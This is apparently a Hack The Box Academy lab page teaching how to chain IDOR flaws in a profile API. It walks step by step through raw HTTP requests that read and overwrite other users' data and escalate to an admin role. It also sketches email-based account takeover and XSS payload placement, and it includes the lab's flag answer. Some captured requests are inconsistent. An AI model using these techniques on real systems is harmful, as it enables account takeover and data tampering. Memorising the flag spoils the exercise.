

Chaining IDOR Vulnerabilities

Usually, a **GET** request to the API endpoint should return the details of the requested user, so we may try calling it to see if we can retrieve our user's details. We also notice that after the page loads, it fetches the user details with a **GET** request to the same API endpoint:

```
Request to http://178.128.160.242:32504
Forward Drop Intercept is on Action Open Browser
Pretty Raw Hex \n
1 GET /profile/api.php/profile/1 HTTP/1.1
2 Host: 178.128.160.242:32504
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
4 Accept: */*
5 Referer: http://178.128.160.242:32504/profile/index.php
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: role=employee
9 Connection: close
10
```

As mentioned in the previous section, the only form of authorization in our HTTP requests is the **role=employee** cookie, as the HTTP request does not contain any other form of user-specific authorization, like a JWT token, for example. Even if a token did exist, unless it was being actively compared to the requested object details by a back-end access control system, we may still be able to retrieve other users' details.

Information Disclosure

Let's send a **GET** request with another **uid**:

```
Request Response
Pretty Raw Hex \n
1 GET /profile/api.php/profile/2 HTTP/1.1
2 Host: 178.128.160.242:32504
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
4 Accept: */*
5 Referer: http://178.128.160.242:32504/profile/index.php
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: role=employee
9 Connection: close
10
1 HTTP/1.1 200 OK
2 Date:
3 Server: Apache/2.4.41 (Ubuntu)
4 Vary: Accept-Encoding
5 Content-Length: 230
6 Content-Type: text/html; charset=UTF-8
7
8 {"uid":"2","uuid":"4a9bd19b3b8676199592a346051f950c","role":"employee",
9
```

As we can see, this returned the details of another user, with their own **uuid** and **role**, confirming an **IDOR Information Disclosure vulnerability**:

Code: **json**

```
{
  "uid": "2",
  "uuid": "4a9bd19b3b8676199592a346051f950c",
  "role": "employee",
  "full_name": "Iona Franklyn",
  "email": "i_franklyn@employees.htb",
  "about": "It takes 28 years to build a reputation and few minutes of cyber-incident to ruin it"
}
```

This provides us with new details, most notably the **uuid**, which we could not calculate before, and thus could not change other users' details.

Modifying Other Users' Details

Now, with the user's **uuid** at hand, we can change this user's details by sending a **PUT** request to **/profile/api.php/profile/2** with the above details along with any modifications we made, as follows:

```
Request Response
Pretty Raw Hex \n
1 PUT /profile/api.php/profile/2 HTTP/1.1
2 Host: 178.128.160.242:32504
3 Content-Length: 135
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
5 Content-type: application/json
6 Accept: */*
7 Origin: http://178.128.160.242:32504
8 Referer: http://178.128.160.242:32504/profile/index.php
9 Accept-Encoding: gzip, deflate
10 Accept-Language: en-US,en;q=0.9
11 Cookie: role=employee
12 Connection: close
13
14 {
  "uid": "2",
  "uuid": "4a9bd19b3b8676199592a346051f950c",
  "role": "employee",
  "full_name": "pwned",
  "email": "pwned@employees.htb",
  "about": "pwned"
}
1 HTTP/1.1 200 OK
2 Date:
3 Server: Apache/2.4.41 (Ubuntu)
4 Content-Length: 1
5 Connection: close
6 Content-Type: text/html; charset=UTF-8
7
8 1
```

We don't get any access control error messages this time, and when we try to **GET** the user details again, we see

[Cheat Sheet](#)[Go to Questions](#)

Table of Contents

[Introduction to Web Attacks](#)

HTTP Verb Tampering

[Intro to HTTP Verb Tampering](#)[Bypassing Basic Authentication](#)[Bypassing Security Filters](#)[Verb Tampering Prevention](#)

Insecure Direct Object References (IDOR)

[Intro to IDOR](#)[Identifying IDORs](#)[Mass IDOR Enumeration](#)[Bypassing Encoded References](#)[IDOR in Insecure APIs](#)[Chaining IDOR Vulnerabilities](#)[IDOR Prevention](#)

XML External Entity (XXE) Injection

[Intro to XXE](#)[Local File Disclosure](#)[Advanced File Disclosure](#)[Blind Data Exfiltration](#)[XXE Prevention](#)

Skills Assessment

[Web Attacks - Skills Assessment](#)

My Workstation

OFFLINE

[Start Instance](#)

00 / 1 spawns left

that we did indeed update their details:

Request					Response				
Copy	Raw	Hex	View	⌵	Copy	Raw	Hex	Render	⌵
1 POST /profile/api.php/profile/1 HTTP/1.1					1 HTTP/1.1 200 OK				
2 Host: 178.128.160.242:32504					2 Date:				
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36)					3 Server: Apache/2.4.41 (Ubuntu)				
4 Content-Length: 129					4 Content-Length: 1				
5 Content-Type: application/json					5 Connection: close				
6 Accept: */*					6 Content-Type: text/html; charset=UTF-8				
7 Origin: http://178.128.160.242:32504					7 ("uid": "1", "uuid": "40f5888b67c748df7efba008e7c2f9d2", "role": "employee", "full_name": "jennet", "password": "jennet@007-8", "about": "jennet")				
8 Referer: http://178.128.160.242:32504/profile/index.php									
9 Accept-Encoding: gzip, deflate									
10 Cookie: role=employee									
11 Connection: close									
12									
13									
14 {									

In addition to allowing us to view potentially sensitive details, the ability to modify another user's details also enables us to perform several other attacks. One type of attack is **modifying a user's email address** and then requesting a password reset link, which will be sent to the email address we specified, thus allowing us to take control over their account. Another potential attack is **placing an XSS payload in the 'about' field**, which would get executed once the user visits their **Edit profile** page, enabling us to attack the user in different ways.

Chaining Two IDOR Vulnerabilities

Since we have identified an IDOR Information Disclosure vulnerability, we may also enumerate all users and look for other **roles**, ideally an admin role. **Try to write a script to enumerate all users, similarly to what we did previously.**

Once we enumerate all users, we will find an admin user with the following details:

Code: **json**

```
{
  "uid": "X",
  "uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
  "role": "web_admin",
  "full_name": "administrator",
  "email": "webadmin@employees.htb",
  "about": "HTB{FLAG}"
}
```

We may modify the admin's details and then perform one of the above attacks to take over their account. However, as we now know the admin role name (**web_admin**), we can set it to our user so we can create new users or delete current users. To do so, we will intercept the request when we click on the **Update profile** button and change our role to **web_admin**:

Request to http://178.128.160.242:32504									
Forward	Drop	Intercept is on	Action	Open Browser					
Copy	Raw	Hex	View	⌵					
1 POST /profile/api.php/profile/1 HTTP/1.1									
2 Host: 178.128.160.242:32504									
3 Content-Length: 208									
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36)									
5 Content-Type: application/json									
6 Accept: */*									
7 Origin: http://178.128.160.242:32504									
8 Referer: http://178.128.160.242:32504/profile/index.php									
9 Accept-Encoding: gzip, deflate									
10 Accept-Language: en-US,en;q=0.9									
11 Cookie: role=employee									
12 Connection: close									
13									
14 {									
"uid": "1",									
"uuid": "40f5888b67c748df7efba008e7c2f9d2",									
"role": "web_admin",									
"full_name": "Amy Lindon",									
"email": "a_lindon@employees.htb",									
"about": "A Release is like a boat. 80% of the holes plugged is not good enough."									
}									

This time, we do not get the **Invalid role** error message, nor do we get any access control error messages, meaning that there are no back-end access control measures to what roles we can set for our user. If we **GET** our user details, we see that our **role** has indeed been set to **web_admin**:

Code: **json**

```
{
  "uid": "1",
  "uuid": "40f5888b67c748df7efba008e7c2f9d2",
  "role": "web_admin",
  "full_name": "Amy Lindon",
  "email": "a_lindon@employees.htb",
  "about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}
```

Now, we can refresh the page to update our cookie, or manually set it as **Cookie: role=web_admin**, and then intercept the **Update** request to create a new user and see if we'd be allowed to do so:

Request					Response				
Copy	Raw	Hex	View	⌵	Copy	Raw	Hex	Render	⌵
1 POST /profile/api.php/profile/50 HTTP/1.1					1 HTTP/1.1 200 OK				
2 Host: 178.128.160.242:32504					2 Date:				
3 Content-Length: 129					3 Server: Apache/2.4.41 (Ubuntu)				
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36)					4 Content-Length: 1				
5 Content-Type: application/json					5 Connection: close				
6 Accept: */*					6 Content-Type: text/html; charset=UTF-8				
7 Origin: http://178.128.160.242:32504					7				
8 Referer: http://178.128.160.242:32504/profile/index.php					8 0				
9 Accept-Encoding: gzip, deflate									
10									

```

10 accept-language: en-us,en;q=0.7
11 Cookie: role=admin_admin
12 Connection: close
13
14 {
  "uid":50,
  "userid":"4a9bd19b3b8676199592a346051f950c",
  "role":"employee",
  "full_name":"Test",
  "email":"test@employees.htb",
  "about":""
}

```

We did not get an error message this time. If we send a **GET** request for the new user, we see that it has been successfully created:

Request	Response
<pre> GET /profile.php?profileid=50 HTTP/1.1 Host: 178.128.147.147:2204 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4515.159 Safari/537.36 Accept: */* Referer: https://178.128.147.147:2204/profile/index.php Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.7 Cookie: role=admin_admin Connection: close </pre>	<pre> HTTP/1.1 200 OK Date: Server: Apache/2.4.18 (Ubuntu) Vary: Accept-Encoding Content-Length: 131 Content-Type: text/html; charset=UTF-8 {"uid":50,"userid":"4a9bd19b3b8676199592a346051f950c","role":"employee","full_name":"Test","email":"test@employees.htb","about":""} </pre>

By combining the information we gained from the **IDOR Information Disclosure vulnerability** with an **IDOR Insecure Function Calls** attack on an API endpoint, we could modify other users' details and create/delete users while bypassing various access control checks in place. On many occasions, the information we leak through IDOR vulnerabilities can be utilized in other attacks, like IDOR or XSS, leading to more sophisticated attacks or bypassing existing security mechanisms.

With our new **role**, we may also perform mass assignments to change specific fields for all users, like placing XSS payloads in their profiles or changing their email to an email we specify. **Try to write a script that changes all users' email to an email you choose..** You may do so by retrieving their **uids** and then sending a **PUT** request for each with the new email.



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

UK

163ms

🔄 Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

☐ Enable step-by-step solutions for all questions ? +

Questions

Answer the question(s) below to complete this Section and earn cubes!



Cheat Sheet

Target(s): [Click here to spawn the target system!](#)

+ 3 🎁 Try to change the admin's email to 'flag@idor.htb', and you should get the flag on the 'edit profile' page.

HTB{1_4m_4n_1d0r_m4573r}



Submit



Hint

← Previous

Next →

✔ Mark Complete & Next

Powered by  HACKTHEBOX

